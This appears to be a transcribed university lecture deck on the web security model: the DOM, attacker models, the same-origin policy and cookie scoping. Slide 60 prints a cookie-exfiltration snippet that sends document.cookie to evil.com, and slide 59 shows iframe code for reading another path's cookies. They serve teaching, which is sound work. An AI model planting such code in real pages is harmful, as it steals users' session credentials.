web security model
play

Web security model Deian Stefan Some slides adopted from Nadia - PowerPoint PPT Presentation

Nov 25, 2023 •528 likes •1.69k views

CSE 127: Computer Security Web security model Deian Stefan Some slides adopted from Nadia Heninger, Zakir Durumeric, Dan Boneh, and Kirill Levchenko Lecture objectives Basic understanding of how the web works Understand relevant

  1. In practice: 49% of the web uses HTTP/2 • HTTP/2 released in 2015 ➤ Allows pipelining requests for multiple objects ➤ Multiplexing multiple requests over one TCP connection ➤ Header compression ➤ Server push • HTTP/3 is an internet draft as of Nov 2020 ➤ Use QUIC instead of TCP

  2. Going from HTTP response to code execution…

  3. Basic browser execution model • Each browser window…. ➤ Loads content ➤ Parses HTML and runs Javascript ➤ Fetches sub resources (e.g., images, CSS, JavaScript) ➤ Respond to events like onClick, onMouseover, 
 onLoad, setTimeout

  4. Nested execution model • Windows may contain frames from different sources ➤ Frame: rigid visible division ➤ iFrame: floating inline frame • Why use frames? https://a.com ➤ Delegate screen area to content from another source ➤ Browser provides isolation based on frames b.com d.com ➤ Parent may work even if frame is broken c.com a.com

  5. Nested execution model • Windows may contain frames from diff sources ➤ Frame: rigid visible division ➤ iFrame: floating inline frame • Why use frames? ➤ Delegate screen area to content from another source ➤ Browser provides isolation based on frames ➤ Parent may work even if frame is broken

  6. Document object model (DOM) • Javascript can read and modify page by interacting with DOM ➤ Object Oriented interface for reading and writing website content • Includes browser object model ➤ Access window, document, and other state like history, browser navigation, and cookies https://en.wikipedia.org/wiki/Document_Object_Model

  7. Modifying the DOM using JS <html> <body> <ul id=“t1”> <li>Item 1</li> </ul> ... </body> </html>

  8. Modifying the DOM using JS <html> <body> <ul id=“t1”> <li>Item 1</li> </ul> ... </body> </html> <script> const list = document.getElementById(‘t1'); 
 const newItem = document.createElement(‘li’); const newText = document.createTextNode(‘Item 2’); list.appendChild(newItem); newItem.appendChild(newText) </script>

  9. Modifying the DOM using JS <html> <body> <ul id=“t1”> <li>Item 1</li> </ul> ... </body> </html> <script> const list = document.getElementById(‘t1'); 
 const newItem = document.createElement(‘li’); const newText = document.createTextNode(‘Item 2’); list.appendChild(newItem); newItem.appendChild(newText) </script>

  10. Modern websites are complicated

  11. Modern websites are complicated The LA Times homepage includes 540 resources from nearly 270 IP addresses, 58 networks, and 8 countries Many of these aren’t controlled by the main sites.

  13. Modern websites are complicated Google analytics Framed ad jQuery library Local scripts Extensions Third party ad

  14. Lecture objectives • Basic understanding of how the web works • Understand relevant attacker models • Understand browser same-origin policy

  15. Relevant attacker models Network attacker http://example.com http://example.com

  16. Relevant attacker models Network attacker http://example.com http://example.com Web attacker https://evil.com evil.com https://evil.com

  17. Relevant attacker models Gadget attacker Web attacker with capabilities to inject limited content into honest page https://example.com evil.com example.com

  18. Most of our focus: web attacker https://evil.com evil.com https://evil.com

  19. And variants of it example.com evil.com evil.com example.com example.com evil.com

  20. Lecture objectives • Basic understanding of how the web works • Understand relevant attacker models • Understand browser same-origin policy

  21. Web security model Safely browse the web in the presence of attackers ➤ The browser is the new OS analogy Process 1 Process 2 Page 1 Page 2 keypassx 
 zoom 
 4chan.org bank.ch cookies/fetch files/sockets

  22. Web security model Safely browse the web in the presence of attackers ➤ The browser is the new OS analogy Process 1 Process 2 Page 1 Page 2 keypassx 
 zoom 
 4chan.org bank.ch cookies/fetch files/sockets

  23. Web security model Safely browse the web in the presence of attackers ➤ The browser is the new OS analogy Process 1 Process 2 Page 1 Page 2 VM + UIDs + seccomp-bpf keypassx 
 zoom 
 4chan.org bank.ch cookies/fetch files/sockets UIDs + ACLs

  24. Web security model Safely browse the web in the presence of attackers ➤ The browser is the new OS analogy Process 1 Process 2 Page 1 Page 2 VM + UIDs + seccomp-bpf keypassx 
 zoom 
 4chan.org bank.ch cookies/fetch files/sockets UIDs + ACLs

  25. Web security model Safely browse the web in the presence of attackers ➤ The browser is the new OS analogy Process 1 Process 2 Page 1 Page 2 VM + UIDs + SOP seccomp-bpf keypassx 
 zoom 
 4chan.org bank.ch cookies/fetch files/sockets UIDs + ACLs SOP

  26. Same origin policy (SOP) • Origin: isolation unit/trust boundary on the web ➤ (scheme, domain, port) triple derived from URL • SOP goal: isolate content of different origins ➤ Confidentiality : script contained in evil.com should not be able to read data in bank.ch page ➤ Integrity : script from evil.com should not be able to modify the content of bank.ch page

  27. There is no one SOP • There is a same-origin policy for.. ➤ the DOM ➤ message passing (via postMessage) ➤ network access ➤ CSS and fonts ➤ cookies

  28. SOP for the DOM • Each frame in a window has its own origin • Frame can only access data with the same origin ➤ DOM tree, local storage, cookies, etc. https://a.com (https,evil.ch,443) (https,a.com,443) (https,a.com,443)

  29. SOP for the DOM • Each frame in a window has its own origin • Frame can only access data with the same origin ➤ DOM tree, local storage, cookies, etc. https://a.com (https,evil.ch,443) (https,a.com,443) (https,a.com,443)

  30. SOP for the DOM • Each frame in a window has its own origin • Frame can only access data with the same origin ➤ DOM tree, local storage, cookies, etc. https://a.com ✗ (https,evil.ch,443) (https,a.com,443) (https,a.com,443)

  31. SOP for the DOM • Each frame in a window has its own origin • Frame can only access data with the same origin ➤ DOM tree, local storage, cookies, etc. https://a.com ✗ ✗ (https,evil.ch,443) (https,a.com,443) (https,a.com,443)

  32. 
 
 
 How do you communicate with frames? • Message passing via postMessage API ➤ Sender: 
 targetWindow.postMessage(message, targetOrigin); ➤ Receiver: 
 function receiveMessage(event){ if (event.origin !== "http://example.com") return ; ... } 
 window.addEventListener("message", receiveMessage, false);

  33. SOP for HTTP responses • Pages can perform requests across origins ➤ SOP does not prevent a page from leaking data to another origin by encoding it in the URL, request body, etc. • SOP prevents code from directly inspecting HTTP responses ➤ Except for documents, can often learn some information about the response

  34. Documents • Can load cross-origin HTML in frames, but not inspect or modify the frame content. https://a.com (https,a.com,443) (https,b.com,443)

  35. Documents • Can load cross-origin HTML in frames, but not inspect or modify the frame content. https://a.com (https,a.com,443) (https,b.com,443)

  36. Documents • Can load cross-origin HTML in frames, but not inspect or modify the frame content. https://a.com (https,a.com,443) (https,b.com,443)

  37. Documents • Can load cross-origin HTML in frames, but not inspect or modify the frame content. https://a.com (https,b.com,443) (https,a.com,443) (https,b.com,443)

  38. Documents • Can load cross-origin HTML in frames, but not inspect or modify the frame content. https://a.com ✗ (https,b.com,443) (https,a.com,443) (https,b.com,443)

  39. Scripts • Can load scripts from across origins • Scripts execute with privileges of the page • Page can see source via 
 func.toString() https://a.com (https,a.com,443) (https,a.com,443)

  40. Scripts • Can load scripts from across origins • Scripts execute with privileges of the page • Page can see source via 
 func.toString() (https,fastly.com,443) https://a.com (https,a.com,443) (https,a.com,443)

  41. Scripts • Can load scripts from across origins • Scripts execute with privileges of the page • Page can see source via 
 func.toString() (https,fastly.com,443) https://a.com (https,a.com,443) (https,a.com,443) (https,evil.ch,443)

  42. Images • Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels • Page can see img.width https://a.com (https,a.com,443) (https,a.com,443)

  43. Images • Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels • Page can see img.width https://a.com (https,fb.com,443) (https,a.com,443) (https,a.com,443)

  44. Images • Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels • Page can see img.width if loggedIn(user) then else https://a.com (https,fb.com,443) (https,a.com,443) (https,a.com,443)

  45. Images • Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels • Page can see img.width if loggedIn(user) then else https://a.com (https,fb.com,443) (https,a.com,443) (https,a.com,443)

  46. Images • Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels • Page can see img.width if loggedIn(user) then else 80px https://a.com (https,fb.com,443) 40px (https,a.com,443) (https,a.com,443)

  47. Images • Browser renders cross-origin images, but SOP prevents page from inspecting individual pixels • Page can see img.width if loggedIn(user) then else 80px https://a.com if (img.width > 40) { ... } 
 else { ... } (https,fb.com,443) 40px (https,a.com,443) (https,a.com,443)

  48. SOP for fonts and CSS are similar.

  49. SOP for cookies • Cookies allow server to store small piece of data on the client • Client sends cookie back to server next time the client loads a page • Sending cookies (only) to the right server is really important ➤ E.g., don’t send cookie for bank.com to attacker.com

  50. SOP for cookies • Cookies use a separate definition of origins. • DOM SOP: origin is a (scheme, domain, port) • Cookie SOP: ([scheme], domain, path) ➤ (https,cseweb.ucsd.edu, /classes/fa19/cse127-ab)

  51. SOP: Cookie scope setting • A page can set a cookie for: ➤ its own domain ➤ any parent domain, as long as domain is not a publi c suffix • A page can read the cookies for: ➤ its own domain ➤ any sub-domain

  52. SOP: Cookie scope setting • A page can set a cookie for: ➤ its own domain ➤ any parent domain, as long as domain is not a publi c suffix Yes, cseweb.ucsd.edu can set cookies for • A page can read the cookies for: ucsd.edu (unless ucsd.edu is on public suffix list) ➤ its own domain ➤ any sub-domain

  53. What’s the public suffix list?

  54. // ===BEGIN ICANN DOMAINS=== // ac : https://en.wikipedia.org/wiki/.ac ac com.ac edu.ac gov.ac net.ac mil.ac org.ac // ad : https://en.wikipedia.org/wiki/.ad ad nom.ad // ae : https://en.wikipedia.org/wiki/.ae // see also: "Domain Name Eligibility Policy" at http://www.aeda.ae/eng/aepolicy.php ae co.ae net.ae org.ae sch.ae ac.ae gov.ae mil.ae // aero : see https://www.information.aero/index.php?id=66 aero accident-investigation.aero accident-prevention.aero aerobatic.aero aeroclub.aero aerodrome.aero agents.aero aircraft.aero airline.aero

  55. When does the browser send which cookies? • Browsers used to send all cookies in a URL ’s scope: ➤ Cookie’s domain is domain suffix of URL ’s domain ➤ Cookie’s path is a prefix of the URL path • New browsers only do this when SameSite=None ➤ We’ll see SameSite in a bit

  56. When does the browser send which cookies? Do we send the cookie? Set-Cookie: ...; 
 Set-Cookie: ...; 
 Set-Cookie: ...; 
 Request to URL Domain=login.site.com; Domain=site.com; Domain=site.com; Path=/; Path=/; Path=/my/home; checkout.site.com login.site.com login.site.com/my/home site.com/my

  57. When does the browser send which cookies? Do we send the cookie? Set-Cookie: ...; 
 Set-Cookie: ...; 
 Set-Cookie: ...; 
 Request to URL Domain=login.site.com; Domain=site.com; Domain=site.com; Path=/; Path=/; Path=/my/home; No Yes No checkout.site.com login.site.com Yes Yes No Yes Yes Yes login.site.com/my/home No Yes No site.com/my

  58. Does the cookie path give us finer- grained isolation than the SOP?

  59. 
 
 No! • Cookie SOP: ➤ cseweb.ucsd.edu/~dstefan does not see cookies for cseweb.ucsd.edu/~nadiah • DOM SOP: ➤ cseweb.ucsd.edu/~dstefan can access the DOM of cseweb.ucsd.edu/~nadiah ➤ How can you access cookie? 
 const iframe = document.createElement("iframe"); iframe.src = "https://cseweb.ucsd.edu/~nadiah"; document.body.appendChild(iframe); 
 alert(iframe.contentWindow.document.cookie);

  60. Which JS scripts can access cookies? • What happens when your bank includes Google Analytics JavaScript? Can it access your bank’s authentication cookie? ➤ Yes! JavaScript runs with the origin’s privileges. Can access document.cookie . • And SOP doesn’t prevent leaking data: const img = document.createElement("image"); img.src = "https://evil.com/?cookies=" + document.cookie; document.body.appendChild(img);

  61. Use HttpOnly cookies Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; HttpOnly; Don’t expose cookie to JavaScript via document.cookie

  62. When does the browser send which cookies? • Browsers used to send all cookies in a URL ’s scope: ➤ Cookie’s domain is domain suffix of URL ’s domain ➤ Cookie’s path is a prefix of the URL path • New browsers only do this when SameSite=None ➤ We’ll see SameSite in a bit Why???

Recommend

eDocument Security Awareness Model 2. eDocument Security Awareness Model THE EDOCUMENT SECURITY

eDocument Security Awareness Model 2. eDocument Security Awareness Model THE EDOCUMENT SECURITY

eDocument Security Awareness Model 2. eDocument Security Awareness Model THE EDOCUMENT SECURITY AWARENESS MODEL (ESAM) IS A SELF-ASSESSMENT TOOL GOAL OF THE EDOCUMENT SECURITY AWARENESS MODEL: Help governments with their secure document

579 views • 28 slides
Web Security: Basic Web Security Model [continued] Spring

Web Security: Basic Web Security Model [continued] Spring

CSE 484 / CSE M 584: Computer Security and Privacy Web Security: Basic Web Security Model [continued] Spring 2015 Franziska (Franzi) Roesner

510 views • 18 slides
Model-based Security Security: ganzheitliche Engineering Eigenschaft: Jan Jrjens

Model-based Security Security: ganzheitliche Engineering Eigenschaft: Jan Jrjens

2 Herausforderung: Security Model-based Security Security: ganzheitliche Engineering Eigenschaft: Jan Jrjens Sicherheits-Mechanismen umgehen statt brechen. Sichere Systems aus Computing Department unsicheren Komponenten ? The

314 views • 6 slides
The Biba Model contd Security with respect to integrity in the Biba model is described by

The Biba Model contd Security with respect to integrity in the Biba model is described by

The Biba Model contd Security with respect to integrity in the Biba model is described by the following two axioms: Simple security property: Writing information to an object o by a subject s requires that SC(s) dominates SC(o) (no

690 views • 43 slides
The Network Network Security Secure against what/whom Security goals Attacker model Same

The Network Network Security Secure against what/whom Security goals Attacker model Same

The Network Network Security Secure against what/whom Security goals Attacker model Same hub `trusted LAN Internet Eavesdrop / block messages / insert messages / ... Typical attacker model security protocol analysis: Attacker

780 views • 63 slides
Widget security model based on MIDP and Web Application based on a security model with TLS/SSL

Widget security model based on MIDP and Web Application based on a security model with TLS/SSL

Widget security model based on MIDP and Web Application based on a security model with TLS/SSL and XMLDsig Claes Nilsson Technology Area Group Leader Web Browsing Marcus Liwell Technology Area Group Leader Security and DRM Rev 1

576 views • 12 slides
Web Security [Browser Security Model] Spring 2020 Franziska (Franzi) Roesner

Web Security [Browser Security Model] Spring 2020 Franziska (Franzi) Roesner

CSE 484 / CSE M 584: Computer Security and Privacy Web Security [Browser Security Model] Spring 2020 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John

810 views • 24 slides
Web Security [SSL/TLS and Browser Security Model] Fall 2017 Franziska (Franzi) Roesner

Web Security [SSL/TLS and Browser Security Model] Fall 2017 Franziska (Franzi) Roesner

CSE 484 / CSE M 584: Computer Security and Privacy Web Security [SSL/TLS and Browser Security Model] Fall 2017 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner,

570 views • 43 slides
Data Security in the Digital Age Reputation and Strategic Interactions in Security Investment

Data Security in the Digital Age Reputation and Strategic Interactions in Security Investment

Introduction Baseline Model Main Results Extended Model Lit. Review Conclusion Appendix Data Security in the Digital Age Reputation and Strategic Interactions in Security Investment Ying Lei Toh Toulouse School of Economics March 31, 2016

1.03k views • 37 slides
Web Security: Basic Web Security Model Spring 2016 Franziska (Franzi) Roesner

Web Security: Basic Web Security Model Spring 2016 Franziska (Franzi) Roesner

CSE 484 / CSE M 584: Computer Security and Privacy Web Security: Basic Web Security Model Spring 2016 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John

498 views • 31 slides
Web Security What should be the Threat Model for the Web? Goal and Threat Model Much can go

Web Security What should be the Threat Model for the Web? Goal and Threat Model Much can go

Web Security What should be the Threat Model for the Web? Goal and Threat Model Much can go wrong on the web! Clients encounter malicious content Web servers are target of break-ins Fake content/servers trick users Data sent

446 views • 16 slides
Security CS 4720 Mobile Application Development CS 4720 The Traditional Security Model

Security CS 4720 Mobile Application Development CS 4720 The Traditional Security Model

Security CS 4720 Mobile Application Development CS 4720 The Traditional Security Model The Firewall Approach Keep the good guys in and the bad guys out CS 4720 2 Distributed System Security Islands of Security

883 views • 39 slides
A Safe and Stateless Platform - Introduction to Google Chrome OS Security model Google Chrome

A Safe and Stateless Platform - Introduction to Google Chrome OS Security model Google Chrome

A Safe and Stateless Platform - Introduction to Google Chrome OS Security model Google Chrome OS Speed Security - Verified boot Security - Reboot to recover Security for the internet age Current Operating Systems Chrome OS Apps have

424 views • 8 slides
Model-based Security Engineering: Models vs. Code Jan Jrjens Department of Computing The

Model-based Security Engineering: Models vs. Code Jan Jrjens Department of Computing The

Model-based Security Engineering: Models vs. Code Jan Jrjens Department of Computing The Open University, GB http://www.umlsec.org Challenge: Security Security is holistic property: Attackers often circumvent (not: break) mechanisms.

639 views • 36 slides
embedded security October 2015 The Old Model (simplified view) Embedded Security Benedikt

embedded security October 2015 The Old Model (simplified view) Embedded Security Benedikt

embedded security October 2015 The Old Model (simplified view) Embedded Security Benedikt Gierlichs KU Leuven, COSIC IACR Summer school 2015 Chia Laguna, Italy Attack on channel between communicating parties Encryption and

412 views • 6 slides
SAR-SSI 2012 1 Introduction Java Card security model Off-card security model Java class Byte

SAR-SSI 2012 1 Introduction Java Card security model Off-card security model Java class Byte

Samiya Hamadouche, Guillaume Bouffard , Jean-Louis Lanet, Bruno Dorsemaine , Bastien Nouhant, Alexandre Magloire, Arnaud Reygnaud guillaume.bouffard@xlim.fr bruno.dorsemaine@etu.unilim.fr SAR-SSI 2012 1 Introduction Java Card security model

227 views • 19 slides
CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Web Security Web Attacker Sets up

CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Web Security Web Attacker Sets up

CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Web Security Web Attacker Sets up malicious site visited by victim; no control of network Alice Network Security Network Attacker Intercepts and controls network communication

907 views • 44 slides
SECTET SECTET Model driven Security of Service Oriented Systems y y based on Security as

SECTET SECTET Model driven Security of Service Oriented Systems y y based on Security as

Japan-Austria Joint Workshop on ICT October 18-19 2010, Tokyo, Japan SECTET SECTET Model driven Security of Service Oriented Systems y y based on Security as a Service Basel Katt , Ruth Breu, Mukhtiar Memon and Michael

646 views • 26 slides
How to capture, model, and verify the knowledge of legal, security, and privacy experts: a

How to capture, model, and verify the knowledge of legal, security, and privacy experts: a

Universit degli Studi di Trento How to capture, model, and verify the knowledge of legal, security, and privacy experts: a pattern-based approach L. Compagna, P. El Khoury F. Massacci , N. Zannone R. Thomas Security Research Dept.

357 views • 14 slides
Security models part 2 Bj orn Victor Fall 2007 Doris Denning model Denning model Chinese

Security models part 2 Bj orn Victor Fall 2007 Doris Denning model Denning model Chinese

Security models part 2 Bj orn Victor Fall 2007 Doris Denning model Denning model Chinese Wall Clark-Wilson Principles BLP: covert channels possible -property too strong Improvement: analyse actual (and indirect) information flow.

676 views • 45 slides
Model-Based Security M. Ochoa Verification and Testing for F. Bouquet Smart-Cards J. Bottela

Model-Based Security M. Ochoa Verification and Testing for F. Bouquet Smart-Cards J. Bottela

Model-Based Security M. Ochoa Verification and Testing for F. Bouquet Smart-Cards J. Bottela E.Fourneret J.Jurjens P. Yousefi ARES 2011 OUTLINE Introduction Background UMLsec Model-based Testing Security in smart-card

356 views • 17 slides
CSCI-UA.9480 Introduction to Computer Security Session 4.1 Browser Security Model Prof. Nadim

CSCI-UA.9480 Introduction to Computer Security Session 4.1 Browser Security Model Prof. Nadim

CSCI-UA.9480 Introduction to Computer Security Session 4.1 Browser Security Model Prof. Nadim Kobeissi Defining 4.1a Browser Security Goals Also before we start: Practical Assignment 2 is now online . 2 CSCI-UA.9480: Introduction to

520 views • 28 slides
Institute for Cyber Security A Formal Model for Isolation Management in Cloud

Institute for Cyber Security A Formal Model for Isolation Management in Cloud

Institute for Cyber Security A Formal Model for Isolation Management in Cloud Infrastructure-as-a-Service Khalid Zaman Bijon, Ram Krishnan and Ravi Sandhu Institute for Cyber Security University of Texas at San Antonio October 15-17, 2014 NSS

146 views • 13 slides
Security, IAM AWS sh shared red res espon ponsib sibility ility mo model el Portland

Security, IAM AWS sh shared red res espon ponsib sibility ility mo model el Portland

Security, IAM AWS sh shared red res espon ponsib sibility ility mo model el Portland State University CS 430P/530 Internet, Web &amp; Cloud Systems Cloud ud se security urity In this course, security &quot;in-the-cloud&quot; via

445 views • 28 slides

More recommend